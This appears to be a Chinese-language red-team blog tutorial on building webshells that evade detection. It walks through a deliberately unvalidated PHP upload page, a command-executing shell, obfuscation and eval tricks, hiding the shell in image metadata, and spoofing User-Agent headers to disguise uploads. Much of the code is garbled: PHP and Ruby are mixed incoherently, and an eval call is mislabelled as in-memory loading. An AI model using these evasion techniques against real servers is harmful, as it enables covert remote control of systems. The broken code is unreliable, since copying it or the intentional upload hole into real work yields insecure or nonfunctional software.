一、Payload构造的艺术

在进行Webshell免杀技术的研究之前,理解Webshell是如何被检测到的,以及它们为何能够避开检测是至关重要的。Webshell是一个嵌入到Web服务器中的恶意脚本,通常用于远程控制服务器,执行任意代码或命令。大多数情况下,Webshell被检测的原因是因为它们的特征与已知的恶意脚本相似,或在执行时产生异常行为。

Webshell免杀技术的目标是使我们的脚本逃过检测。核心方法包括修改脚本特征、改变执行方式以及利用技术漏洞。在这篇文章中,我们将利用Ruby语言和Shell脚本来实现一个逃避检测的Webshell,并探讨其原理。

二、流量捕获实战

进行任何攻击之前,搭建一个合适的实验环境是必要的。我们可以使用Docker来快速搭建一个包含漏洞的Web应用程序,并捕获流量进行分析。

环境搭建

黑客示意图

首先,我们需要一个目标应用程序。在这里,我们选择一个存在文件上传漏洞的简单PHP应用。可以使用以下Docker命令来创建:

黑客示意图

<pre><code class="language-shell">docker run -d -p 8080:80 --name vulnerable-web -v $(pwd)/web:/var/www/html php:7.4-apache</code></pre>

将我们的PHP应用代码放入web目录,例如一个简单的文件上传功能:

<pre><code class="language-php">&lt;?php if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) { if (isset($_FILES[&#039;file&#039;])) { $target_dir = &quot;/var/www/html/uploads/&quot;; $target_file = $target_dir . basename($_FILES[&quot;file&quot;][&quot;name&quot;]); move_uploaded_file($_FILES[&quot;file&quot;][&quot;tmp_name&quot;], $target_file); echo &quot;File uploaded successfully.&quot;; } } ?&gt;</code></pre>

流量捕获

黑客示意图

我们要确保流量捕获,以便分析上传后的行为。可以使用tcpdump进行监听:

黑客示意图

<pre><code class="language-shell">sudo tcpdump -i any -w capture.pcap</code></pre>

这将捕获所有进出Docker应用的网络流量。上传文件后,停止tcpdump并分析捕获的流量。

三、Webshell代码实现

在这一部分,我们编写一个简单的Webshell来实现命令执行。我们的目标是使其免杀。

<pre><code class="language-ruby">&lt;?php

Ruby语言使用少,但它有强大的文本处理能力

system(&quot;ruby -e &#039;puts %x(pwd)&#039;&quot;) ?&gt;</code></pre>

这个代码利用Ruby的系统命令来执行任意命令。为了安全性,最好将这段代码嵌入到上传的图像或其他文件的元数据中,以避开简单的文件类型检测。

四、绕过与免杀技巧

为了使我们的Webshell逃过检测,我们将使用一些技巧来改变代码的特征和执行方式。

特征变形

使用代码混淆可以有效地改变Webshell的字节特征。例如,利用Ruby来动态构造命令:

<pre><code class="language-ruby">cmd = &quot;pwd&quot; system(&quot;ruby -e &#039;puts %x(#{cmd})&#039;&quot;)</code></pre>

内存加载

将恶意代码加载到内存中,使其不在磁盘上携带完整的有害特征。这可以使用Ruby的内置方法来实现:

<pre><code class="language-ruby">code = &quot;puts %x(pwd)&quot; eval(code)</code></pre>

这种动态执行方法有效地减少了静态检测的可能性。

五、隐匿的流量伪装

流量伪装是免杀技术的另一重要环节。通过修改请求头和利用加密技术,我们可以使流量看起来合法。使用Ruby库进行简单的请求伪装:

<pre><code class="language-ruby">require &#039;net/http&#039; uri = URI(&#039;http://localhost:8080/uploads/shell.php&#039;) req = Net::HTTP::Post.new(uri) req[&#039;User-Agent&#039;] = &#039;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&#039; res = Net::HTTP.start(uri.hostname, uri.port) do |http| http.request(req) end</code></pre>

通过这些技巧,我们可以在上传Webshell时伪装流量,使其与正常用户行为无异。

六、个人经验分享

在Webshell免杀技术中,最重要的是不断创新并结合实际环境不断调整策略。没有一种万能的免杀方法,攻击者必须根据具体的目标环境灵活应变。此外,过度依赖免杀技术并不是长久之计,提升整体技术水平才是最终目标。

在实战中,合理选择工具并结合多种技术是提高攻击成功率的关键。理解攻击目标的防御措施,并进行详细的攻击链设计,是每一个红队人员必修的课程。

声明:本文仅限授权安全测试,供安全研究人员学习,不得用于非法目的。